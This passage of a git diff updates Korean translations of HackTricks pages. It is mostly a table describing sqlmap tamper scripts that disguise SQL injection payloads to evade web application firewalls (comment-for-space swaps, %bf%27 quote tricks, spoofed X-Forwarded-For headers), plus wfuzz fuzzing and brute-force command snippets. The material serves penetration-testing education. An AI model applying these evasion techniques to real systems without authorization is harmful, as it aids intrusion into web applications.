| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 교체합니다. |
|
||||
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
|
||||
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
|
||||
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
|
||||
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다 (예: .replace("SELECT", "") 필터). |
|
||||
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 교체에 적합한 표현으로 교체합니다 (예: .replace("SELECT", "") 필터). |
|
||||
| percentage.py | 각 문자 앞에 백분율 기호 ('%')를 추가합니다. |
|
||||
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. |
|
||||
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 것은 처리하지 않음). |
|
||||
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 교체합니다. |
|
||||
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
|
||||
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
|
||||
| sp\_password.py | 페이로드 끝에 'sp\_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
||||
| space2comment.py | 공백 문자 (' ')를 주석으로 대체합니다. |
|
||||
| space2dash.py | 공백 문자 (' ')를 대시 주석 ('--')과 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
|
||||
| space2hash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
|
||||
| space2morehash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 무작위 문자열 및 새 줄 ('\n')로 대체합니다. |
|
||||
| space2mssqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| space2mssqlhash.py | 공백 문자 (' ')를 파운드 문자 ('#')와 새 줄 ('\n')로 대체합니다. |
|
||||
| space2mysqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| space2mysqldash.py | 공백 문자 (' ')를 대시 주석 ('--')과 새 줄 ('\n')로 대체합니다. |
|
||||
| space2plus.py | 공백 문자 (' ')를 더하기 기호 ('+')로 대체합니다. |
|
||||
| space2randomblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
||||
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자 (&& 및 ||)로 대체합니다. |
|
||||
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. |
|
||||
| unmagicquotes.py | 따옴표 문자 (')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). |
|
||||
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. |
|
||||
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
|
||||
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
| space2comment.py | 공백 문자 (' ')를 주석으로 교체합니다. |
|
||||
| space2dash.py | 공백 문자 (' ')를 대시 주석 ('--')으로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
|
||||
| space2hash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
|
||||
| space2morehash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 무작위 문자열과 새 줄 ('\n')을 추가합니다. |
|
||||
| space2mssqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
|
||||
| space2mssqlhash.py | 공백 문자 (' ')를 파운드 문자 ('#')로 교체하고 새 줄 ('\n')을 추가합니다. |
|
||||
| space2mysqlblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
|
||||
| space2mysqldash.py | 공백 문자 (' ')를 대시 주석 ('--')으로 교체하고 새 줄 ('\n')을 추가합니다. |
|
||||
| space2plus.py | 공백 문자 (' ')를 더하기 기호 ('+')로 교체합니다. |
|
||||
| space2randomblank.py | 공백 문자 (' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 교체합니다. |
|
||||
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자 (&& 및 ||)로 교체합니다. |
|
||||
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 교체합니다. |
|
||||
| unmagicquotes.py | 인용 문자 (')를 다중 바이트 조합 %bf%27로 교체하고 끝에 일반 주석을 추가합니다 (작동하게 하기 위해). |
|
||||
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 교체합니다. |
|
||||
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
|
||||
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
||||
| xforwardedfor.py | 가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다. |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 셸을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들에게 더 깊이 파고들고, 셸을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -217,7 +217,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
|
||||
|
|
|
@ -57,7 +57,7 @@ wfuzz -e encoders #Prints the available encoders
|
|||
-w /path/to/file,base64 #Will use a list, and transform to base64
|
||||
-z list,each-element-here,hexlify #Inline list and to hex before sending values
|
||||
```
|
||||
## CheetSheet
|
||||
## CheatSheet
|
||||
|
||||
### 로그인 폼 브루트포스
|
||||
|
||||
|
@ -126,7 +126,7 @@ $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
|
|||
#Filter by whitelisting codes
|
||||
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
|
||||
```
|
||||
## Tool to bypass Webs
|
||||
## 웹 우회 도구
|
||||
|
||||
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)
|
||||
|
||||
|
@ -140,7 +140,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue